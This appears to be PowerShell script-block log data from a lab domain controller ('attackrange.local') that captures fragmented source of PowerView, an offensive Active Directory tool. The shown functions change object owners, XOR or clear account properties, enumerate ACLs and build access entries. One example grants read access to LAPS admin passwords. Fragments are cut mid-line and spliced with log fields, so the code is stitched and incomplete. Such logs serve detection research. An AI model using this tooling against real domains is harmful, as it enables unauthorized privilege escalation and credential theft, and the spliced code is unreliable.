if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid
if ($OwnerSid) {
$OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid
}
else {
Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"
}
}
PROCESS {
if ($OwnerIdentityReference) {
$SearcherArguments['Raw'] = $True
$SearcherArguments['Identity'] = $Identity
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
try {
Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'"
$Entry = $RawObject.GetDirectoryEntry()
$Entry.PsBase.Options.SecurityMasks = 'Owner'
$Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
$Entry.PsBase.CommitChanges()
}
catch {
Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
}
}
}
}
}
function Get-DomainObjectAcl {
<#
.SYNOPSIS
Returns the ACLs associated with a specific active directory object. By default
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Sacl
Switch. Return the SACL instead of the DACL for the object (default behavior).
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER RightsFilter
A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
Get the ACLs for the matt.admin user in the testlab.local domain and
resolve relevant GUIDs to their display names.
.EXAMPLE
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
Enumerate the ACL permissions for all OUs in the domain.
.EXAMPLE
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl
Enumerate the SACLs for all OUs in the domain, resolving GUIDs.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$Sacl,
[Switch]
$ResolveGUIDs,
[String]
[Alias('Rights')]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
}
if ($PSBoundParameters['Sacl']) {
$SearcherArguments['SecurityMasks'] = 'Sacl'
}
else {
$SearcherArguments['SecurityMasks'] = 'Dacl'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$Searcher = Get-DomainSearcher @SearcherArguments
$DomainGUIDMapArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
# get a GUID -> name mapping
if ($PSBoundParameters['ResolveGUIDs']) {
$GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
}
}
PROCESS {
if ($Searcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSB38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715314Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1955-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-LDAPLogonHours $hours
Gets the logonhours array from the first AD user with logon restrictions.
.OUTPUTS
PowerView.LogonHours
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)
Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}
function ConvertTo-LogonHoursArray {
Param (
[int[]]
$HoursArr
)
$LogonHours = New-Object bool[] 24
for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}
$LogonHours
}
}
Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
}
$Output = New-Object PSObject -Property $Output
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
$Output
}
}
function New-ADObjectAccessControlEntry {
<#
.SYNOPSIS
Creates a new Active Directory object-specific access control entry.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Creates a new object-specific access control entry (ACE). The ACE could be
used for auditing access to an object or controlling access to objects.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER PrincipalSearchBase
The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Right
Specifies the rights set on the Active Directory object.
.PARAMETER AccessControlType
Specifies the type of ACE (allow or deny)
.PARAMETER AuditFlag
For audit ACEs, specifies when to create an audit log (on success or failure)
.PARAMETER ObjectType
Specifies the GUID of the object that the ACE applies to.
.PARAMETER InheritanceType
Specifies how the ACE applies to the object and/or its children.
.PARAMETER InheritedObjectType
Specifies the type of object that can inherit the ACE.
.EXAMPLE
$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
$OU = Get-DomainOU -Raw Workstations
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
Adds an ACE to all computer objects in the OU "Workstations" permitting the
user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
.OUTPUTS
System.Security.AccessControl.AuthorizationRule
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Security.AccessControl.AuthorizationRule')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $True)]
[ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
$Right,
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,
[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
[ValidateSet('Success', 'Failure')]
[String]
$AuditFlag,
[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
[Guid]
$ObjectType,
[ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
[String]
$InheritanceType,
[Guid]
$InheritedObjectType
)
Begin {
if ($PrincipalIdentity -notmatch '^S-1-.*') {
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principal = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principal) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
elseif($Principal.Count -gt 1) {
throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
}
$ObjectSid = $Principal.objectsid
}
else {
$ObjectSid = $PrincipalIdentity
}
$ADRight = 0
foreach($r in $Right) {
$ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__)
}
$ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
}
Process {
if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType
}
}
else {
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $Acces38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1